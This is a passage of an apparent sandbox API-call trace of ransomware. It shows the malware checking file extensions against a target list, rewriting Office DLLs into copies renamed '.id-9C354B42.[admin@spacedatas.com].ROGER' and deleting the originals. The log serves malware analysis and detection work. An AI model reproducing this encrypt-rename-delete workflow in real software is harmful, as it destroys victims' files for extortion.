Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0058.543] lstrlenW (lpString=".zip") returned 4 [0058.543] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0058.544] lstrlenW (lpString=".rar") returned 4 [0058.544] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0058.544] lstrlenW (lpString=".bz2") returned 4 [0058.544] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0058.544] lstrlenW (lpString=".7z") returned 3 [0058.544] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0058.544] lstrlenW (lpString=".dbf") returned 4 [0058.544] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0058.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0058.544] lstrlenW (lpString=".1cd") returned 4 [0058.544] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0058.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0058.544] lstrlenW (lpString=".jpg") returned 4 [0058.544] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0058.544] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0058.544] lstrlenW (lpString="ACEEXCL.DLL") returned 11 [0058.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0058.545] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=899992) returned 1 [0058.545] CloseHandle (hObject=0x3ec) returned 1 [0058.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll")) returned 0x20 [0058.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0058.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0058.545] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.545] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0058.546] GetLastError () returned 0x0 [0058.546] ReadFile (in: hFile=0x3ec, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0xdbb98, lpOverlapped=0x0) returned 1 [0058.563] WriteFile (in: hFile=0x3e0, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xdbba0, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0xdbba0, lpOverlapped=0x0) returned 1 [0058.577] ReadFile (in: hFile=0x3ec, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0058.577] WriteFile (in: hFile=0x3e0, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0xea, lpOverlapped=0x0) returned 1 [0058.577] SetEndOfFile (hFile=0x3e0) returned 1 [0058.577] CloseHandle (hObject=0x3e0) returned 1 [0058.577] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.577] SetEndOfFile (hFile=0x3ec) returned 1 [0059.050] CloseHandle (hObject=0x3ec) returned 1 [0059.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0059.061] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll")) returned 1 [0059.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0059.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0059.071] lstrlenW (lpString=".doc") returned 4 [0059.071] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0059.073] lstrlenW (lpString=".docx") returned 5 [0059.074] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0059.074] lstrlenW (lpString=".pdf") returned 4 [0059.077] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0059.078] lstrlenW (lpString=".xls") returned 4 [0059.079] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0059.079] lstrlenW (lpString=".xlsx") returned 5 [0059.079] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0059.081] lstrlenW (lpString=".ppt") returned 4 [0059.081] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0059.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0059.082] lstrlenW (lpString=".zip") returned 4 [0059.083] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0059.085] lstrlenW (lpString=".rar") returned 4 [0059.086] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0059.086] lstrlenW (lpString=".bz2") returned 4 [0059.089] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0059.092] lstrlenW (lpString=".7z") returned 3 [0059.094] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0059.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0059.097] lstrlenW (lpString=".dbf") returned 4 [0059.100] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0059.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0059.102] lstrlenW (lpString=".1cd") returned 4 [0059.104] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0059.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0059.105] lstrlenW (lpString=".jpg") returned 4 [0059.106] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0059.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0059.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0059.110] lstrlenW (lpString=".doc") returned 4 [0059.112] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0059.113] lstrlenW (lpString=".docx") returned 5 [0059.116] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0059.116] lstrlenW (lpString=".pdf") returned 4 [0059.118] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0059.119] lstrlenW (lpString=".xls") returned 4 [0059.121] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0059.122] lstrlenW (lpString=".xlsx") returned 5 [0059.123] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0059.123] lstrlenW (lpString=".ppt") returned 4 [0059.124] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0059.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0059.129] lstrlenW (lpString=".zip") returned 4 [0059.130] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0059.131] lstrlenW (lpString=".rar") returned 4 [0059.133] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0059.135] lstrlenW (lpString=".bz2") returned 4 [0059.136] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0059.139] lstrlenW (lpString=".7z") returned 3 [0059.141] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0059.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0059.150] lstrlenW (lpString=".dbf") returned 4 [0059.151] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0059.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0059.151] lstrlenW (lpString=".1cd") returned 4 [0059.151] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0059.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0059.153] lstrlenW (lpString=".jpg") returned 4 [0059.154] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0059.163] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0059.165] lstrlenW (lpString="ACER3X.DLL") returned 10 [0059.165] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0059.177] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=451480) returned 1 [0059.179] CloseHandle (hObject=0x3ec) returned 1 [0059.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll")) returned 0x20 [0059.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0059.187] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0059.189] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.196] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.198] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0059.212] GetLastError () returned 0x0 [0059.214] ReadFile (in: hFile=0x3ec, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x6e398, lpOverlapped=0x0) returned 1 [0059.463] WriteFile (in: hFile=0x40c, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0x6e3a0, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0x6e3a0, lpOverlapped=0x0) returned 1 [0059.744] ReadFile (in: hFile=0x3ec, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0059.745] WriteFile (in: hFile=0x40c, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0059.745] SetEndOfFile (hFile=0x40c) returned 1 [0059.745] CloseHandle (hObject=0x40c) returned 1 [0059.745] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.745] SetEndOfFile (hFile=0x3ec) returned 1 [0059.749] CloseHandle (hObject=0x3ec) returned 1 [0059.749] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0059.749] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll")) returned 1 [0059.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0059.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0059.825] lstrlenW (lpString=".doc") returned 4 [0059.825] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0059.825] lstrlenW (lpString=".docx") returned 5 [0059.825] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1 [0059.825] lstrlenW (lpString=".pdf") returned 4 [0059.825] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0059.825] lstrlenW (lpString=".xls") returned 4 [0059.825] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0059.825] lstrlenW (lpString=".xlsx") returned 5 [0059.825] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1 [0059.825] lstrlenW (lpString=".ppt") returned 4 [0059.826] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0059.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0059.826] lstrlenW (lpString=".zip") returned 4 [0059.826] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0059.826] lstrlenW (lpString=".rar") returned 4 [0059.826] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0059.826] lstrlenW (lpString=".bz2") returned 4 [0059.826] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0059.826] lstrlenW (lpString=".7z") returned 3 [0059.826] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0059.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0059.826] lstrlenW (lpString=".dbf") returned 4 [0059.826] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0059.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0059.826] lstrlenW (lpString=".1cd") returned 4 [0059.826] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0059.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0059.826] lstrlenW (lpString=".jpg") returned 4 [0059.826] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0059.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0059.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0059.826] lstrlenW (lpString=".doc") returned 4 [0059.826] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0059.826] lstrlenW (lpString=".docx") returned 5 [0059.826] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1 [0059.826] lstrlenW (lpString=".pdf") returned 4 [0059.826] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0059.826] lstrlenW (lpString=".xls") returned 4 [0059.826] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0059.826] lstrlenW (lpString=".xlsx") returned 5 [0059.826] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1 [0059.826] lstrlenW (lpString=".ppt") returned 4 [0059.826] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0059.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0059.826] lstrlenW (lpString=".zip") returned 4 [0059.827] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0059.827] lstrlenW (lpString=".rar") returned 4 [0059.827] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0059.827] lstrlenW (lpString=".bz2") returned 4 [0059.827] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0059.827] lstrlenW (lpString=".7z") returned 3 [0059.827] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0059.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0059.827] lstrlenW (lpString=".dbf") returned 4 [0059.827] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0059.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0059.827] lstrlenW (lpString=".1cd") returned 4 [0059.827] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0059.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL") returned 66 [0059.827] lstrlenW (lpString=".jpg") returned 4 [0059.827] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0059.827] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0059.827] lstrlenW (lpString="ACEXBE.DLL") returned 10 [0059.827] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0060.008] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=502168) returned 1 [0060.008] CloseHandle (hObject=0x3fc) returned 1 [0060.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll")) returned 0x20 [0060.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0060.008] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0060.008] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.008] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.008] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0060.009] GetLastError () returned 0x0 [0060.009] ReadFile (in: hFile=0x3fc, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x7a998, lpOverlapped=0x0) returned 1 [0060.020] WriteFile (in: hFile=0x3f8, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0x7a9a0, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0x7a9a0, lpOverlapped=0x0) returned 1 [0060.028] ReadFile (in: hFile=0x3fc, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0060.028] WriteFile (in: hFile=0x3f8, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0060.028] SetEndOfFile (hFile=0x3f8) returned 1 [0060.028] CloseHandle (hObject=0x3f8) returned 1 [0060.028] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.028] SetEndOfFile (hFile=0x3fc) returned 1 [0060.033] CloseHandle (hObject=0x3fc) returned 1 [0060.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0060.033] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll")) returned 1 [0060.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0060.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0060.034] lstrlenW (lpString=".doc") returned 4 [0060.034] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0060.034] lstrlenW (lpString=".docx") returned 5 [0060.034] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0060.034] lstrlenW (lpString=".pdf") returned 4 [0060.034] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0060.034] lstrlenW (lpString=".xls") returned 4 [0060.034] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0060.034] lstrlenW (lpString=".xlsx") returned 5 [0060.034] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0060.034] lstrlenW (lpString=".ppt") returned 4 [0060.034] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0060.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0060.034] lstrlenW (lpString=".zip") returned 4 [0060.034] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0060.034] lstrlenW (lpString=".rar") returned 4 [0060.034] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0060.034] lstrlenW (lpString=".bz2") returned 4 [0060.034] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0060.035] lstrlenW (lpString=".7z") returned 3 [0060.035] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0060.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0060.035] lstrlenW (lpString=".dbf") returned 4 [0060.035] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0060.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0060.035] lstrlenW (lpString=".1cd") returned 4 [0060.035] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0060.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0060.035] lstrlenW (lpString=".jpg") returned 4 [0060.035] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0060.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0060.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0060.035] lstrlenW (lpString=".doc") returned 4 [0060.035] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0060.035] lstrlenW (lpString=".docx") returned 5 [0060.035] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0060.035] lstrlenW (lpString=".pdf") returned 4 [0060.035] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0060.035] lstrlenW (lpString=".xls") returned 4 [0060.035] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0060.035] lstrlenW (lpString=".xlsx") returned 5 [0060.035] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0060.035] lstrlenW (lpString=".ppt") returned 4 [0060.035] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0060.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0060.035] lstrlenW (lpString=".zip") returned 4 [0060.035] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0060.035] lstrlenW (lpString=".rar") returned 4 [0060.035] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0060.035] lstrlenW (lpString=".bz2") returned 4 [0060.035] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0060.035] lstrlenW (lpString=".7z") returned 3 [0060.035] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0060.035] 